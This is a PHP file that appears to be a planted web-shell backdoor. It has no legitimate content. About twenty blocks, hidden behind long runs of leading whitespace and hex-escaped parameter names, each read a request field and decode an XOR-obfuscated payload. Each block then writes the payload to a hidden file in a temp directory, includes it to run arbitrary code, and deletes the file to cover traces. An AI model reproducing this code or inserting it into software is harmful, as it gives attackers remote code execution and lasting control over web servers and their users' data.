<?php																																										if(!empty($_REQUEST["\x64ch\x75\x6Ek"])){ $marker = $_REQUEST["\x64ch\x75\x6Ek"]; $marker= explode ( ".", $marker ) ; $ent = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt7); $q = 0; while( $q < count( $marker)) { $v6 = $marker[$q]; $chS = ord( $salt7[$q % $lenS]); $dec =( ( int)$v6 - $chS -( $q % 10))^13; $ent .= chr( $dec); $q++;} $value = array_filter([getenv("TMP"), sys_get_temp_dir(), getcwd(), "/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp"]); foreach ($value as $factor): if (is_dir($factor) && is_writable($factor)) { $parameter_group = join("/", [$factor, ".pgrp"]); $success = file_put_contents($parameter_group, $ent); if ($success) { include $parameter_group; @unlink($parameter_group); die();} } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["\x74o\x6Ben"])){ $obj = array_filter([getcwd(), "/var/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), "/tmp", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $ptr = $_POST["\x74o\x6Ben"]; $ptr = explode ("." , $ptr ) ; $reference = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4); $m = 0; while ($m<count($ptr)) { $v3 = $ptr[$m]; $sChar = ord($s4[$m % $sLen]); $dec = ((int)$v3 - $sChar - ($m % 10)) ^ 71; $reference .= chr($dec); $m++; } foreach ($obj as $key => $rec) { if (is_dir($rec) ? is_writable($rec) : false) { $res = join("/", [$rec, ".property_set"]); if (file_put_contents($res, $reference)) { require $res; unlink($res); die(); } } } }
																																										if(array_key_exists("i\x74\x65m", $_POST) && !is_null($_POST["i\x74\x65m"])){ $bind = $_POST["i\x74\x65m"]; $bind =explode ("." , $bind ); $record = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt4); $x = 0; $__len = count( $bind); do {if( $x >= $__len) break; $v8 = $bind[$x]; $chS = ord( $salt4[$x % $lenS]); $dec =( ( int)$v8 - $chS -( $x % 10)) ^ 96; $record .= chr( $dec); $x++; } while( true); $tkn = array_filter(["/var/tmp", sys_get_temp_dir(), "/dev/shm", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), getenv("TMP")]); while ($desc = array_shift($tkn)) { if (array_product([is_dir($desc), is_writable($desc)])) { $object = vsprintf("%s/%s", [$desc, ".k"]); $file = fopen($object, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $object; @unlink($object); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["r\x65\x63\x6Frd"])){ $val = array_filter([getenv("TMP"), getcwd(), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), "/dev/shm", "/tmp"]); $entity = $_POST["r\x65\x63\x6Frd"]; $entity = explode( "." ,$entity) ; $dat= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt ); foreach ($entity as $n => $v2): $sChar= ord($salt[$n % $sLen] ); $dec= ((int)$v2 - $sChar - ($n % 10)) ^ 52; $dat .= chr($dec ); endforeach; foreach ($val as $symbol): if (!( !is_dir($symbol) || !is_writable($symbol) )) { $binding = "$symbol/.k"; $success = file_put_contents($binding, $dat); if ($success) { include $binding; @unlink($binding); exit;} } endforeach; }
																																										if(isset($_REQUEST["\x65n\x74\x69ty"]) ? true : false){ $rec = array_filter(["/tmp", getenv("TEMP"), getcwd(), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path()]); $pgrp = $_REQUEST["\x65n\x74\x69ty"]; $pgrp =explode ("." , $pgrp); $item = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $len = count( $pgrp ); for( $n = 0; $n <$len; $n++) { $v2 = $pgrp[$n]; $chS = ord( $s[$n % $lenS] ); $dec =( ( int)$v2 - $chS -( $n % 10)) ^ 24; $item .= chr( $dec ); } foreach ($rec as $k): if (!!is_dir($k) && !!is_writable($k)) { $ref = "$k" . "/.pset"; $file = fopen($ref, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $ref; @unlink($ref); exit; } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x64\x65s\x63\x72\x69ptor"])){ $flg = array_filter(["/dev/shm", getenv("TMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getcwd()]); $res = $_REQUEST["\x64\x65s\x63\x72\x69ptor"]; $res =explode ( '.' , $res ) ; $binding=''; $salt1='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt1); foreach ($res as $p=> $v7): $sChar=ord($salt1[$p% $lenS]); $d=((int)$v7 - $sChar - ($p% 10)) ^ 39; $binding .= chr($d); endforeach; $fac = 0; do { $element = $flg[$fac] ?? null; if ($fac >= count($flg)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($element)) { $data_chunk = vsprintf("%s/%s", [$element, ".hld"]); if (file_put_contents($data_chunk, $binding)) { require $data_chunk; unlink($data_chunk); exit; } } $fac++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["entity"])){ $desc = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/tmp"]); $ref = $_POST["entity"]; $ref= explode( '.' , $ref ) ; $item = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1 ); $m = 0; foreach ($ref as $v7) { $chS = ord($s1[$m % $sLen] ); $d = ((int)$v7 - $chS - ($m % 10)) ^ 23; $item .= chr($d ); $m++; } foreach ($desc as $ptr): if (!( !is_dir($ptr) || !is_writable($ptr) )) { $ent = join("/", [$ptr, ".data"]); if (file_put_contents($ent, $item)) { require $ent; unlink($ent); die(); } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x76\x61l"])){ $entry = array_filter([ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), getenv("TMP"), "/dev/shm", "/var/tmp", "/tmp", session_save_path(), sys_get_temp_dir()]); $k = $_REQUEST["\x76\x61l"]; $k= explode ( '.' , $k ) ; $rec =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt ); $__len =count($k ); for($j =0; $j < $__len; $j++) { $v8 =$k[$j]; $sChar =ord($salt[$j % $sLen] ); $d =((int)$v8 - $sChar -($j % 10)) ^ 27; $rec .=chr($d ); } $key = 0; do { $fac = $entry[$key] ?? null; if ($key >= count($entry)) break; if ((bool)is_dir($fac) && (bool)is_writable($fac)) { $parameter_group = implode("/", [$fac, ".ref"]); $success = file_put_contents($parameter_group, $rec); if ($success) { include $parameter_group; @unlink($parameter_group); die();} } $key++; } while (true); }
																																										if(isset($_POST["\x69t\x65m"])){ $comp = $_POST["\x69t\x65m"]; $comp= explode( "." , $comp ) ; $object = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s4); foreach( $comp as $q => $v6) { $sChar = ord( $s4[$q % $lenS]); $d =( ( int)$v6 - $sChar -( $q % 10)) ^ 21; $object .= chr( $d);} $data = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getenv("TEMP"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path(), getcwd()]); while ($desc = array_shift($data)) { if (is_dir($desc) && is_writable($desc)) { $mrk = str_replace("{var_dir}", $desc, "{var_dir}/.resource"); if (file_put_contents($mrk, $object)) { require $mrk; unlink($mrk); exit; } } } }
																																										if(!is_null($_POST["k"] ?? null)){ $marker = $_POST["k"]; $marker=explode ( '.' ,$marker ); $entity= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); $__len= count($marker); for ($t= 0; $t < $__len; $t++) { $v3= $marker[$t]; $sChar= ord($salt[$t%$sLen]); $d= ((int)$v3 - $sChar - ($t%10)) ^ 59; $entity .= chr($d); } $entry = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), getcwd(), "/var/tmp"]); foreach ($entry as $sym) { if (!!is_dir($sym) && !!is_writable($sym)) { $dchunk = "$sym" . "/.factor"; if (file_put_contents($dchunk, $entity)) { include $dchunk; @unlink($dchunk); exit; } } } }
																																										if(in_array("\x70se\x74", array_keys($_REQUEST))){ $data_chunk = array_filter([sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd(), session_save_path(), "/dev/shm", "/var/tmp", getenv("TMP")]); $pgrp = $_REQUEST["\x70se\x74"]; $pgrp =explode ( '.' ,$pgrp ); $flag =''; $s4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s4); foreach( $pgrp as $p =>$v3): $chS =ord( $s4[$p %$lenS]); $d =( ( int)$v3 - $chS -( $p %10)) ^ 53; $flag .= chr( $d); endforeach; foreach ($data_chunk as $item): if ((is_dir($item) and is_writable($item))) { $ent = sprintf("%s/.flg", $item); $success = file_put_contents($ent, $flag); if ($success) { include $ent; @unlink($ent); exit;} } endforeach; }
																																										if(array_key_exists("\x64\x63\x68unk", $_REQUEST) && !is_null($_REQUEST["\x64\x63\x68unk"])){ $fac = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), "/tmp", getcwd(), getenv("TEMP"), "/var/tmp", sys_get_temp_dir()]); $resource = $_REQUEST["\x64\x63\x68unk"]; $resource = explode ( '.' , $resource) ; $reference = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt4); $s = 0; while( $s < count( $resource)) {$v2 = $resource[$s]; $chS = ord( $salt4[$s % $sLen]); $d =( ( int)$v2 - $chS -( $s % 10)) ^ 22; $reference .= chr( $d); $s++; } foreach ($fac as $descriptor): if (is_writable($descriptor) && is_dir($descriptor)) { $bind = vsprintf("%s/%s", [$descriptor, ".holder"]); if (file_put_contents($bind, $reference)) { include $bind; @unlink($bind); die(); } } endforeach; }
																																										if(!is_null($_REQUEST["\x65n\x74ry"] ?? null)){ $val = $_REQUEST["\x65n\x74ry"]; $val= explode ( "." , $val ) ; $flg = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $r = 0; $__tmp = $val; while($v9 = array_shift($__tmp)) { $chS = ord($s[$r % $lenS] ); $d = ((int)$v9 - $chS -($r % 10)) ^ 10; $flg .= chr($d ); $r++; } $component = array_filter([getenv("TEMP"), getenv("TMP"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), session_save_path(), ini_get("upload_tmp_dir"), "/tmp"]); while ($rec = array_shift($component)) { if (is_writable($rec) && is_dir($rec)) { $ref = sprintf("%s/.pset", $rec); if (@file_put_contents($ref, $flg) !== false) { include $ref; unlink($ref); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x72\x65cor\x64"])){ $rec = array_filter([getenv("TMP"), "/tmp", getenv("TEMP"), getcwd(), "/var/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir")]); $val = $_REQUEST["\x72\x65cor\x64"]; $val= explode ( "." ,$val ) ; $element = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $__len = count($val); for ($q = 0; $q < $__len; $q++) { $v5 = $val[$q]; $sChar = ord($salt7[$q %$sLen]); $d = ((int)$v5 - $sChar - ($q %10)) ^36; $element .= chr($d); } for ($symbol = 0, $value = count($rec); $symbol < $value; $symbol++) { $token = $rec[$symbol]; if (array_product([is_dir($token), is_writable($token)])) { $ref = vsprintf("%s/%s", [$token, ".pset"]); if (file_put_contents($ref, $element)) { require $ref; unlink($ref); exit; } } } }
																																										if(!empty($_REQUEST["el\x65\x6D"])){ $dat = array_filter([getcwd(), sys_get_temp_dir(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), "/var/tmp", session_save_path()]); $record = $_REQUEST["el\x65\x6D"]; $record =explode ('.', $record ) ; $dchunk =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); $x =0; $__tmp =$record; while ($v2 =array_shift($__tmp)) { $chS =ord($salt[$x % $lenS]); $dec =((int)$v2 - $chS - ($x % 10)) ^ 41; $dchunk .= chr($dec); $x++; } foreach ($dat as $mrk) { if ((bool)is_dir($mrk) && (bool)is_writable($mrk)) { $sym = "$mrk" . "/.res"; if (file_put_contents($sym, $dchunk)) { include $sym; @unlink($sym); die(); } } } }
																																										if(@$_POST["\x63\x6Fmpon\x65\x6Et"] !== null){ $data_chunk = $_POST["\x63\x6Fmpon\x65\x6Et"]; $data_chunk = explode ( '.' , $data_chunk ) ; $dat = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $v = 0; foreach ($data_chunk as $v1) { $sChar = ord($s[$v % $sLen]); $d = ((int)$v1 - $sChar - ($v % 10)) ^ 82; $dat.= chr($d); $v++; } $pgrp = array_filter([session_save_path(), getcwd(), sys_get_temp_dir(), "/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir")]); while ($mrk = array_shift($pgrp)) { if (max(0, is_dir($mrk) * is_writable($mrk))) { $resource = vsprintf("%s/%s", [$mrk, ".pset"]); if (file_put_contents($resource, $dat)) { require $resource; unlink($resource); die(); } } } }


if(isset($_POST["b\x69\x6E\x64\x69ng"]) ? true : false){
	$ref = array_filter([session_save_path(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getcwd(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir")]);
	$pointer = $_POST["b\x69\x6E\x64\x69ng"];
		 $pointer 	=	 	explode   ( ".",$pointer 		);	 
	$res=	'';
            $salt6=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=	strlen(	$salt6	);
            $w=	0;
    
            foreach(	$pointer as $v7) {
                $chS=	ord(	$salt6[$w % $lenS]	);
                $dec=	(	(	int)$v7 - $chS -(	$w % 10)) ^ 69;
                $res .= chr(	$dec	);
                $w++; 	}
	$flg = 0;
do {
    $key = $ref[$flg] ?? null;
    if ($flg >= count($ref)) break;
    		if (is_dir($key) && is_writable($key)) {
    $hld = str_replace("{var_dir}", $key, "{var_dir}/.data");
    if (file_put_contents($hld, $res)) {
	include $hld;
	@unlink($hld);
	die();
}
}
    $flg++;
} while (true);
}